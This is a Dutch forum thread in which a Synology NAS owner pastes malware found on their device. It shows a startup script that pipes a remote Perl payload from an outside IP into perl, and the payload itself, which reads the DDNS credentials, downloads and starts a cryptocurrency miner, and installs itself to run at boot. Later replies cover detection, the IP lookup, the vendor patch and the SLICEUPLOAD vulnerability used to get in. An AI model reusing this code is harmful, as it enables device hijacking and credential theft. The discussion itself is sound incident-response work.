Synology-Forum.nl
Firmware => Synology DSM algemeen => Topic gestart door: jsahoka op 10 februari 2014, 10:41:06
-
Hallo,
Ik log in op mijn DS en ik zie ineens een map Startup
In de map startup staat een bestand : S22DiskStation met de volgende inhoud :
#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
# write pidfile
echo $! > $PIDFILE
echo "Optware startup myscript"
}
#
stop() {
[ -f ${PIDFILE} ] && kill -9 0
# remove pidfile
rm -f $PIDFILE
echo "Optware shutdown myscript"
}
#
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
stop
sleep 1
start
;;
*)
echo "Usage: $0 (start|stop|restart)"
exit 1
;;
esac
# End
de inhoud van http://83.170.113.14:8080/browser/start.pl is :
#!/usr/bin/perl
use Carp;
require Exporter;
require DynaLoader;
require 5.006;
my $hostname = `hostname | xargs echo -n`; # bot will get here machine name
my $name = getlogin."\@".$hostname;
my $a1 = `df -B G > /tmp/.mysql.socket1`;
my $a2 = `cat /tmp/.mysql.socket1 | awk '{print \$2}' > /tmp/.mysql.socket2`;
my $a3 = `cat /tmp/.mysql.socket2 | tr -d "G " > /tmp/.mysql.socket3`;
my $diskspace = `cat /tmp/.mysql.socket3 | sort -n | tail -n 1 | xargs echo -n`;
# my $diskspace = `df -B G | awk '{print \ $2}' | tr -d "G " | sort -n | tail -n 1`;
############################################################
@passes = ();
sub gcc(){
my $cmd=`gcc --version`;
return 1 if $cmd=~/Free Software Foundation/;
return;
}
sub os() { $val=`uname -s`;return $val if $val=~s/\n//g; }
sub ddns() {
my ($username,$hostname,$passwd);
my $val=`cat /etc/ddns.conf`;
$username = $1 if ($val =~/username=(.+)\n/g);
$hostname = $1 if ($val =~/hostname=(.*)\n/g);
$passwd = $1 if ($val =~/passwd=(.+)\n/g);
return "Nothing found" if !($passwd =~/\w/);
print " DDNS Creds:"."$hostname\t$username:$passwd"."\n";
push(@passes,$passwd);
return $passwd;
}
sub arc() { $val=`uname -m`;return $val if $val=~s/\n//g; }
sub node() { $val=`uname -n`;return $val if $val=~s/\n//g; }
sub memTotal() { $val=`cat /proc/meminfo | grep MemTotal`; $val = ($1/1024) if $val=~/(\d+) kB/ig; return sprintf("%.0f",$val); }
sub memFree() { $val=`cat /proc/meminfo | grep MemFree`; $val = ($1/1024) if $val=~/(\d+) kB/ig; return sprintf("%.0f",$val); }
sub uptime() { $val=`uptime | cut -d "," -f 1 | cut -d " " -f 4-`;chomp($val);return $val}
sub lang() { $val=`echo $LANG`;return $val if $val=~s/(\w+)_.*/$1/g; }
sub nmap(){ $val=`nmap --version`;return $1 if $val=~/Nmap version (\d\.\d+)/;}
sub pwnam(){ ($name, $pass, $uid, $gid, $quota, $comment, $gcos, $dir, $shell, $expire) = getpwnam($ENV{'USER'}); $val=$_[0] if $_[0]; return $$val if $_[0];}
sub ifRoot(){ return 1 if &pwnam('uid') == 0; }
sub cpu(){ $c=`awk -F": " '/cpu MHz\ */ { print $2 }' /proc/cpuinfo`;chomp($c);return $c;}
sub status(){
print "--".&os."/".&arc."------".&node."----".&memTotal."MB----\n";
print " ".$ENV{'USER'}." (".&pwnam('uid').") - Up since ".&uptime." Days\n";
print " Total (Global) HDD Space:\t$diskspace GB\n\n";
&ddns();
# &whois();
# system('curl -s dazzlepod.com/ip/me.json | sed -n "s/,/\n/pg"');
system('curl -s dazzlepod.com/ip/me.json');
# print @passes;
print "\n\n--".&os."/".&arc."------".&node."----".&memTotal."MB----\n\n";
}
my $servconf = <<'EOF';
#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
# write pidfile
echo $! > $PIDFILE
echo "Optware startup myscript"
}
#
stop() {
[ -f ${PIDFILE} ] && kill -9 0
# remove pidfile
rm -f $PIDFILE
echo "Optware shutdown myscript"
}
#
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
stop
sleep 1
start
;;
*)
echo "Usage: $0 (start|stop|restart)"
exit 1
;;
esac
# End
EOF
sub whois(){
my $cmd =~'curl -s dazzlepod.com/ip/me.json | sed -n "s/,/\n/pg"';
my $data = `$cmd`;
print $data."\n";
foreach(split($data,/,/)){
print "$_\n";
}
}
sub kernelversion(){
$kernel=`uname -r`;
my $kver = $1 if $kernel=~/([2-3]\.\d+\.\d+-\d+)/;
return $kver if !$_[0];
if ($kver=~/([2-3])\.(\d+)\.(\d+)/) {
$Kmain = $1; $Ksub = $2; $KSsub = $3;
}
if( $_[0] =~/^([2-3])\.(\d+)\.(\d+)$/ ) {
# print "[1] $1 => $Kmain\n";
return if $1 < $Kmain;
# print "[2] $2 <= $Ksub\n";
return if $2 > $Ksub;
# print "[3] $3 <= $KSsub\n";
return if $3 < $KSsub;
}
return 1;
print "Looks OK! $kver- $_[0]\n";
}
sub procusage() { @arr = split(/, /,`top -b -n 1 | grep Tasks`); return "$arr[0] $arr[1]"; }
sub netstats() {
$val = `netstats`;chomp($val);@arr=split(/\n/,$val);
return "[$arr[0]]-[$arr[1]]";
}
sub gb(){
my $arg = ($_[0]/1024);#kb
return sprintf("%.0f",($arg/1024));
}
sub w2f(){
my $file = shift;
my $string = shift;
open(FILE,">./$file") || die("ERROR, no write acces?");
print FILE $string;
close(FILE);
}
sub getCrons(){
my $cmd = 'for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done';
my $test = `$cmd`;
return $test;
};
sub checkProcName(){
my $search = $_[0];
my $strip = $_[1] if ($_[1]);
my $psl = `ps w`;
my $ret;
foreach(split(/\n/,$psl)) {
next if !($_ =~/$search/i);
next if ( ($strip != "") && ($_ =~/$strip/i ));
$ret .= $_."\n";
}
return ($ret);
}
status();
my $base = 'http://83.170.113.14:8080/browser/';
my $arch = `uname -m`; $arch =~s/\n//g;
my $filename = "https_$arch";
my $url = "$base$filename";
my $conf = "$base$arch.cfg";
my $list = &checkProcName("/sbin/syslog-ng --module-path=/lib/syslogmod --pidfile=/var/run/syslogng.pid","cfg");
my @arr = split(/\n/,$list);
my $threads = 6;
$threads = "2" if $arch=~/arm/;
$threads = "16" if $arch=~/x86_64/;
$threads = "8" if $arch=~/i686/;
my $int = int(rand(10));
if(-f "/usr/bin/$filename"){
print "File allready found\n";
system("rm /usr/bin/$filename");
}
print "$url\n";
my $cmd = "wget -O /usr/bin/$filename$int $url";
system($cmd);
if (-f "/usr/bin/$filename$int"){
print "Write $filename success\n";
}else {
print "[ERROR] Writing $filename with curl!\n";
exit 1;
}
`chmod +x /usr/bin/$filename$int`;
`killall -9 $filename`;
`killall -9 pns minerd synodns`;
my $start = "/usr/bin/$filename$int -B";
if($arch=~/x86_64/) {
my $cmd = "wget -O /etc/$arch.cfg $conf";
system($cmd);
if (-f "/etc/$arch.cfg"){
print "Write config success\n";
}else {
print "[ERROR] Writing config with curl!\n";
exit 1;
}
$start .= " -c /etc/$arch.cfg";
}
print "$start\n";
if(scalar(@arr) != 0) {
print "looks like our miner runs: ".scalar(@arr)." times\n";
`killall -9 $filename`;
}
print "[X] Start Miner $ENV{'SERVER_NAME'} $ENV{'HOSTNAME'}\n";
system($start);
system('killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm');
if (-d "/volume1"){
print "Looks like Synology system\n";
system("mkdir /volume1/startup") if !(-d "/volume1/startup");
if (-f "/volume1/startup/S22DiskStation"){
print "Allready exist\n";
}else {
# $servconf =~ s/STARTLINE/$start/g;
#print $servconf."\n";
open(FILE,">/volume1/startup/S22DiskStation");
print FILE $servconf;
close(FILE);
system("chmod +x /volume1/startup/S22DiskStation");
exit 1;
}
}
# print $list."\n";
# foreach(@list){
# print "$_\n";
# }
exit;
# print "$url";
#
# system("wget -O ./tmp-w $url");
#my $crons = getCrons();
#print $crons."\n\n";
exit 1;
volgens mij is dit verdomme gewoon een bitcoin-miner die op mijn NAS draait.
Iemand enig idee ?
Ik draai alleen Officiele apps, apps van synocummunity en de apps van http://packages.pcloadletter.co.uk om Crashplan te draaien.
Ik baal hier flink van.
-
http://forum.synology.com/enu/viewtopic.php?f=19&t=80857
Hier nog meer mensen met hetzelfde probleem.
-
best iedereen eens via telnet of winscp inloggen en via command 'top' kijken of er geen ./PWNEd applicaties draaien op je nas
-
OF:
ps |grep PWNEd
-
Ok... ik zie 28888 admin 4064 S grep PwNEd
Ben ik nu gehacked?
-
Ben ik ook benieuwd naar.
Hier ook nl hetzelfde resultaat op de cijfers na :o
-
Sorry....even een misverstand wegwerken.
Als je "ps |grep PWNEd"
en je krijgt het volgende te zien (root of admin, ligt er aan hoe je bent ingelogd):
DS111> ps |grep PWNEd
8308 root 4228 S grep PWNEd <<<<dit is jouw zoek process
dan zie je dus het proces van jezelf dus draait PWNEd niet en ben je dus niet gehacked.
Als het process wel draait, dan zou het er ongeveer zo uit moeten zien:
DS111> ps |grep PWNEd
8295 root 4228 S grep PWNEd <<<<dit is jouw zoek process
4221 root 4344 S ./PWNEd <<<<dit is dus het process die gevonden is, en draait, dus gehacked.
-
Ah, duidelijk... bedankt.
-
Wat ik nergens kan vinden:
Wat is het veiligheidsrisico van minerd / pwned? (op CPU load en mogelijke ontoegankelijkheid van DS na).
Zijn bijvoorbeeld mijn bestanden veilig?
-
ff een beetje spuurwerk. in de code staat een ip adres;
http://83.170.113.14:8080/browser/'
Volgens www.kloth.net zijn hierover de volgende gegevens bekend:
Non-authoritative answer:
14.113.170.83.in-addr.arpa name = server52013.uk2net.com
Server Name: SERVER52013.UK2NET.COM
IP Address: 83.170.113.14
Registrar: TUCOWS DOMAINS INC.
Query location data for 83.170.113.14 from www.hostip.info:
Country: UNITED KINGDOM (GB)
City: London
Zou ook in ieder geval dit ip number op de blacklist zetten van je Synology.
-
Er is kort geleden een DSM 4.3 update uitgebracht. Uit de release notes blijkt, dat malware wordt verwijderd en dat het systeem 'gerepareerd' wordt.
http://www.synology.com/en-global/releaseNote/model/DS212+
Waarschijnlijk is dit wat je zoekt...
-
Ik had 3x DCHP.PID services lopen die samen 100% CPU belasting vormden op de DS213+.
4.3-3827 update geinstalleerd.
Syno gereboot.
Alles is weer normaal.
Ben wel benieuwd of nu alle rotzooi echt weg is...
-
Mmh, ik ben waarschijnlijk ook de klos. Ik heb inmiddels alle bestanden die verdacht zijn verwijderd. Wat ik me afvraag, hoe komen die lui binnen? Gewoon door op iedere poort te rammelen of bv via phpadmin? iemand een idee?
-
Hier staat meer info over hoe de malware is geinstalleerd op de DS:
http://www.kb.cert.org/vuls/id/615910
Synology DiskStation Manager versions 4.3-3776-3 and below allow a remote unauthenticated user to append arbitrary data to files on the system under root privileges. According to Synology:
Synology File Station in DSM employs a technique called "Slice Upload" to upload files when the file size is over 4GB [in the] Firefox browser. Since this feature is implemented in DSM4.0, all versions of DSM after DSM4.0 are subject to this vulnerability.
To exploit this vulnerability, an attacker needs to send a specially crafted HTTP POST request to /webman/imageSelector.cgi containing the header fields X-TYPE-NAME: SLICEUPLOAD and X-TMP-FILE with the valid path of the file to append malicious code or data.
-
Vandaag een e-mail van synology. Als de sodemieter maar de update uitgevoerd.
Begrijp ik het goed, het is een bug in apache?
-
Nee, Geen bug in apache, maar aan de client kant, tenminste dat is wat ervan begrijp. Google maar eens op SLICE UPLOAD (een methode om grote bestanden (>2GB of zo iets) efficiƫnt te kunnen uploaden. )